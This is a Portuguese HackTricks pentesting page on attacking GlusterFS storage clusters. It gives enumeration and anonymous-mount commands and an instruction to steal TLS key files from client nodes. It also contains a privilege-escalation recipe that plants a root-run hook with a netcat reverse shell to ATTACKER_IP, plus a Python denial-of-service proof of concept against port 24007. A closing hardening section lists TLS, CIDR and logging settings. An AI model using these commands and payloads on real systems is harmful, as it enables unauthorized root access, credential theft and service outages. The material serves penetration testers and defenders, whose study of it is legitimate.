24007-24008-24009-49152 - Pentesting GlusterFS
Reading time: 5 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
Informações Básicas
GlusterFS é um sistema de arquivos distribuído que combina armazenamento de vários servidores em um espaço de nomes unificado. O daemon de gerenciamento (glusterd) escuta por padrão na porta 24007/TCP e instrui os bricks do plano de dados que começam em 49152/TCP (uma porta por brick, incrementando). Versões anteriores a 9.x usavam 24008–24009/TCP para transporte de bricks, então você ainda encontrará essas portas em clusters legados.
PORT      STATE  SERVICE        VERSION
24007/tcp open   glusterd       GlusterFS (RPC)
49152/tcp open   gluster-brick  SSL (TLS optional)
Dica: 24007 responde a chamadas RPC mesmo quando os nós apenas de armazenamento não exportam nenhum volume; portanto, o serviço é um alvo de pivô confiável dentro de grandes infraestruturas.
Enumeração
Instale as utilidades do cliente na sua máquina de ataque:
sudo apt install -y glusterfs-cli glusterfs-client   # Debian/Ubuntu
- Descoberta de pares e saúde
 
# List peers (works without authentication in default setups)
gluster --remote-host 10.10.11.131 peer status
- Reconhecimento de volume
 
# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all
- Montar sem privilégios
 
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
Se a montagem falhar, verifique /var/log/glusterfs/<vol_name>-<uid>.log no lado do cliente. Problemas comuns são:
- Aplicação de TLS (
option transport.socket.ssl on) - Controle de acesso baseado em endereço (
option auth.allow <cidr>) 
Solução de problemas de certificado
Roube os seguintes arquivos de qualquer nó cliente autorizado e coloque-os em /etc/ssl/ (ou no diretório mostrado no log de erro):
/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca
Vulnerabilidades Conhecidas (2022-2025)
| CVE | Versões afetadas | Impacto | Notas | 
|---|---|---|---|
| CVE-2022-48340 | 10.0–10.4, 11.0 | Uso após liberação em dht_setxattr_mds_cbk acessível através da rede | DoS remoto e provável RCE. Corrigido em 10.4.1 / 11.1. | 
| CVE-2023-26253 | < 11.0 | Leitura fora dos limites no manipulador de notificação FUSE | Queda remota via operações de FS manipuladas; PoC público disponível. | 
| CVE-2023-3775 | < 10.5 / 11.1 | Validação de permissão incorreta ao montar gluster_shared_storage | Permite que qualquer cliente não autenticado monte o volume de admin – leva a priv-esc explicado abaixo. | 
Sempre verifique
gluster --versionem cada nó; clusters heterogêneos são comuns após atualizações parciais.
Explorando gluster_shared_storage (Escalação de Privilégios)
Mesmo em versões recentes, muitos administradores deixam o volume especial gluster_shared_storage legível por todos, pois isso simplifica a geo-replicação. O volume contém modelos de cronjob que são executados com root em cada nó.
# 1. Mount admin volume anonymously
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
# 2. Drop malicious script that gets synchronised cluster-wide
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
#!/bin/bash
nc -e /bin/bash ATTACKER_IP 4444 &
EOF
chmod +x /tmp/gss/hooks/1/start/post/test.sh
# 3. Wait until glusterd distributes the hook and executes it as root
Se hooks/1/ não estiver presente, procure por /ss_bricks/ – o caminho exato pode variar com a versão principal.
Prova de Conceito de Negação de Serviço (CVE-2023-26253)
#!/usr/bin/env python3
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
import socket, xdrlib, struct
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
with socket.create_connection(("10.10.11.131",24007)) as s:
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
s.send(p.get_buffer())
Executar o script faz com que glusterfsd < 11.0 falhe.
Fortalecimento & Detecção
- Atualizar – a LTS atual é 11.1 (Julho de 2025). Todos os CVEs acima estão corrigidos.
 - Ative TLS para cada brick:
 
gluster volume set <vol> transport.socket.ssl on
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
- Restringir clientes com listas CIDR:
 
gluster volume set <vol> auth.allow 10.0.0.0/24
- Expor a porta de gerenciamento 24007 apenas em uma VLAN privada ou através de túneis SSH.
 - Monitorar logs: 
tail -f /var/log/glusterfs/glusterd.loge configurar o recurso audit-log (volume set <vol> features.audit-log on). 
Referências
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks